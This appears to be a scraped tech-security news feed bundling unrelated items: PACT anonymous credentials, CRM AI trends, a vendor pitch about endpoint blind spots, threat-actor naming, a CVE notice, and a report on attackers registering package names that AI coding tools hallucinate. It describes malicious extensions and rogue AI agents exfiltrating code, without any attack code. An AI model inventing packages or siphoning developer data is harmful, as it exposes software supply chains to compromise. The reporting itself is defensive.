<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
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<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
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<title><![CDATA[TechCrunch Disrupt 2026’s new Smart Money Stage explores fintech, payments, AI, and everything between ]]></title>
<description><![CDATA[Money has evolved into far more than the cash in your wallet or your bank account. And at TechCrunch Disrupt 2026, we’re devoting an entire stage to that progression.]]></description>
<link>https://tsecurity.de/de/3692680/it-nachrichten/techcrunchdisrupt-2026s-new-smart-money-stage-explores-fintech-payments-ai-and-everything-between/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692680/it-nachrichten/techcrunchdisrupt-2026s-new-smart-money-stage-explores-fintech-payments-ai-and-everything-between/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Money has evolved into far more than the cash in your wallet or your bank account. And at TechCrunch Disrupt 2026, we’re devoting an entire stage to that progression.]]></content:encoded>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[BlueNoroff Zoom Phishing Kit Profiles Crypto Wallets Before Malware Delivery]]></title>
<description><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware.

"BlueNoroff h...]]></description>
<link>https://tsecurity.de/de/3692035/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692035/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</guid>
<pubDate>Fri, 24 Jul 2026 18:28:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware.

"BlueNoroff has operationalised trust abuse by combining compromised industry contacts, social engineering, wallet]]></content:encoded>
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<title><![CDATA[Sam Altman’s biometric startup World raises $52.5 million via crypto sale]]></title>
<description><![CDATA[Sam Altman's side project — which seeks to scan the world's eyeballs and turn them into unique digital identifiers — has raised some fresh cash through a crypto sale.]]></description>
<link>https://tsecurity.de/de/3692018/it-nachrichten/sam-altmans-biometric-startup-world-raises-525-million-via-crypto-sale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692018/it-nachrichten/sam-altmans-biometric-startup-world-raises-525-million-via-crypto-sale/</guid>
<pubDate>Fri, 24 Jul 2026 18:21:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sam Altman's side project — which seeks to scan the world's eyeballs and turn them into unique digital identifiers — has raised some fresh cash through a crypto sale.]]></content:encoded>
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<title><![CDATA[Digital driver’s licenses and IDs in Apple Wallet may soon arrive in Utah]]></title>
<description><![CDATA[Utah residents may soon be able to store their driver’s licenses and IDs in Apple Wallet on iPhone and Apple Watch. References to a Utah ID…
The post Digital driver’s licenses and IDs in Apple Wallet may soon arrive in Utah appeared first on MacDailyNews.]]></description>
<link>https://tsecurity.de/de/3691761/ios-mac-os/digital-drivers-licenses-and-ids-in-apple-wallet-may-soon-arrive-in-utah/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691761/ios-mac-os/digital-drivers-licenses-and-ids-in-apple-wallet-may-soon-arrive-in-utah/</guid>
<pubDate>Fri, 24 Jul 2026 16:08:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Utah residents may soon be able to store their driver’s licenses and IDs in Apple Wallet on iPhone and Apple Watch. References to a Utah ID…</p>
<p>The post <a href="https://macdailynews.com/2026/07/24/digital-drivers-licenses-and-ids-in-apple-wallet-may-soon-arrive-in-utah/">Digital driver’s licenses and IDs in Apple Wallet may soon arrive in Utah</a> appeared first on <a href="https://macdailynews.com/">MacDailyNews</a>.</p>]]></content:encoded>
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<title><![CDATA[Updated Cyber Threat Actor Naming System]]></title>
<description><![CDATA[Introduction 
Today, Google Threat Intelligence Group (GTIG) will begin rolling out a unified naming schema for tracking threat actors. This new naming taxonomy represents an effort to standardize tracking across platforms and public reporting.
Why are we Adopting a Different Naming System?
Histo...]]></description>
<link>https://tsecurity.de/de/3691731/it-security-nachrichten/updated-cyber-threat-actor-naming-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691731/it-security-nachrichten/updated-cyber-threat-actor-naming-system/</guid>
<pubDate>Fri, 24 Jul 2026 16:04:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><h2><strong>Introduction </strong></h2>
<p><span>Today, Google Threat Intelligence Group (GTIG) will begin rolling out a unified naming schema for tracking threat actors. This new naming taxonomy represents an effort to standardize tracking across platforms and public reporting.</span></p>
<h2><strong>Why are we Adopting a Different Naming System?</strong></h2>
<p><span>Historically, Mandiant and Google’s Threat Analysis Group (TAG) maintained distinct tracking systems, relying on parallel naming schemas that grew independently over time. The creation of GTIG has necessitated a new, fused tracking system, and a new naming system. Thinking to the future, GTIG’s new system will rely on cryptonyms. Relying on sequential numbers or disparate identifiers (e.g. APT1) fails to provide defenders the critical context needed to operate quickly. Threat tracking shouldn’t be an exercise in memorization, but rather one of intuition. The new naming convention aligns with industry standard threat actor naming systems. </span></p>
<h2><strong>Our New Schema</strong></h2>
<p><span>Our new schema utilizes a cryptonym-based approach, employing memorable two-word combinations for each distinct threat actor:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The </span><strong>first word</strong><span> is a unique and memorable term chosen to represent the specific actor, particularly names that may have been used in prior public reporting. If no previously used term exists, this word is randomly generated to remove bias, then vetted by our analysts.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>The </span><strong>second word</strong><span> categorizes threat clusters by motivation, attribution, or activity type based on which category we consider to be most important for defense and response strategies.</span></p>
</li>
</ul>
<p><span>The table below provides a sample of how threat actor categories will map to the second word in each cryptonym:</span></p>
<div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Origin or Type</strong></p>
</td>
<td>
<p><strong>Group Name</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>People’s Republic of China</span></p>
</td>
<td>
<p><span>CASTLE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Iran</span></p>
</td>
<td>
<p><span>ION</span></p>
</td>
</tr>
<tr>
<td>
<p><span>North Korea</span></p>
</td>
<td>
<p><span>NEPTUNE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Russia</span></p>
</td>
<td>
<p><span>RELIC</span></p>
</td>
</tr>
<tr>
<td>
<p><span>Cybercriminal</span></p>
</td>
<td>
<p><span>COMET</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span>Table 1: Examples of Google’s new threat actor naming system categories</span></p>
<p><span>We know there are many threat actor tracking schemas in the industry, so we are intentionally seeking to keep this system as simple as possible to streamline operations and facilitate mapping to other naming taxonomies. However, a significant caveat remains: because no two organizations have the exact same visibility into the threat landscape, direct, apples-to-apples comparisons between threat actors are rarely possible. Transitioning to a convention that is simpler to follow and remember is a practical step toward managing a highly intricate tracking problem. </span></p>
<h2><strong>A Work in Progress</strong></h2>
<p><span>We have initially prioritized renaming several dozen of the most active groups, and will continue this process on a rolling basis. Previous names will remain indexed and searchable in the Google Threat Intelligence (GTI) platform, with MITRE ATT&amp;CK mappings and other vendor aliases preserved, see Figure 1. </span></p></div>
<div class="block-image_full_width">






  
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        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_22.max-1000x1000.png" alt="Updated Cyber Threat Actor Naming System Image 1">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="5g4yd">Figure 1: Threat actor name appearance in GTI platform on initial rollout</p></figcaption>
      
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</div>
<div class="block-paragraph_advanced"><p><span>We will continue to use UNC, or “uncategorized” designations for threat clusters that are still in the early stages of investigation, as described </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/how-mandiant-tracks-uncategorized-threat-actors"><span>here</span></a><span>.</span></p></div>]]></content:encoded>
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<title><![CDATA[CVE-2026-65916 | usmannasir cyberpanel up to 1.9.1 Backup Creation cancelBackupCreation backupCancellationDomain/fileName improper authorization (WID-SEC-2026-2509)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in usmannasir cyberpanel up to 1.9.1. Affected by this issue is the function cancelBackupCreation of the component Backup Creation Handler. The manipulation of the argument backupCancellationDomain/fileName results in improper authorization.

Th...]]></description>
<link>https://tsecurity.de/de/3691437/sicherheitsluecken/cve-2026-65916-usmannasir-cyberpanel-up-to-191-backup-creation-cancelbackupcreation-backupcancellationdomainfilename-improper-authorization-wid-sec-2026-2509/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691437/sicherheitsluecken/cve-2026-65916-usmannasir-cyberpanel-up-to-191-backup-creation-cancelbackupcreation-backupcancellationdomainfilename-improper-authorization-wid-sec-2026-2509/</guid>
<pubDate>Fri, 24 Jul 2026 13:43:23 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/usmannasir:cyberpanel">usmannasir cyberpanel up to 1.9.1</a>. Affected by this issue is the function <code>cancelBackupCreation</code> of the component <em>Backup Creation Handler</em>. The manipulation of the argument <em>backupCancellationDomain/fileName</em> results in improper authorization.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2026-65916">CVE-2026-65916</a>. The attack can be executed remotely. There is not any exploit available.

A patch should be applied to remediate this issue.]]></content:encoded>
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<title><![CDATA[Top AIs invent same fake PyPl and npm package names]]></title>
<description><![CDATA[Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.



The top AI coding tools are remarkably consistent in their hallucinations: Res...]]></description>
<link>https://tsecurity.de/de/3691314/it-security-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691314/it-security-nachrichten/top-ais-invent-same-fake-pypl-and-npm-package-names/</guid>
<pubDate>Fri, 24 Jul 2026 12:56:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.</p>



<p class="wp-block-paragraph">The top AI coding tools are remarkably consistent in their hallucinations: Researcher Aleksandr Churilov found the same 127 fake package names generated by five different LLMs.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3961304/ai-hallucinations-lead-to-new-cyber-threat-slopsquatting.html">Slopsquatting is a relatively new form of malware attack</a> that involves the creation of malicious packages in response to the hallucinations of AI coding tools, causing the malicious packages to be incorporated into legitimate applications.</p>



<p class="wp-block-paragraph">Churilov set out his findings in a research paper, <a href="https://arxiv.org/abs/2605.17062" target="_blank" rel="noreferrer noopener">The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort</a>, which is yet to be peer-reviewed. He found 127 hallucinated package names were shared across Claude Sonnet 4.6, Claude Haiku 4.5, GPT-5.4-mini, Gemini 2.5 Pro, and DeepSeek V3.2.</p>



<p class="wp-block-paragraph"> As of April this year, 53 of those names — 41 on the PyPI software repository and 12 on npm —are still available for registration.</p>



<p class="wp-block-paragraph">According to the study, there are two reasons for this amount of conformity in the output of the models. First, models may learn the same incorrect package references from shared public training material, such as tutorials and documentation.</p>



<p class="wp-block-paragraph">Second, they may independently extrapolate plausible names from ecosystem conventions. In this way, they could produce names that look correct, even if they don’t actually exist.</p>



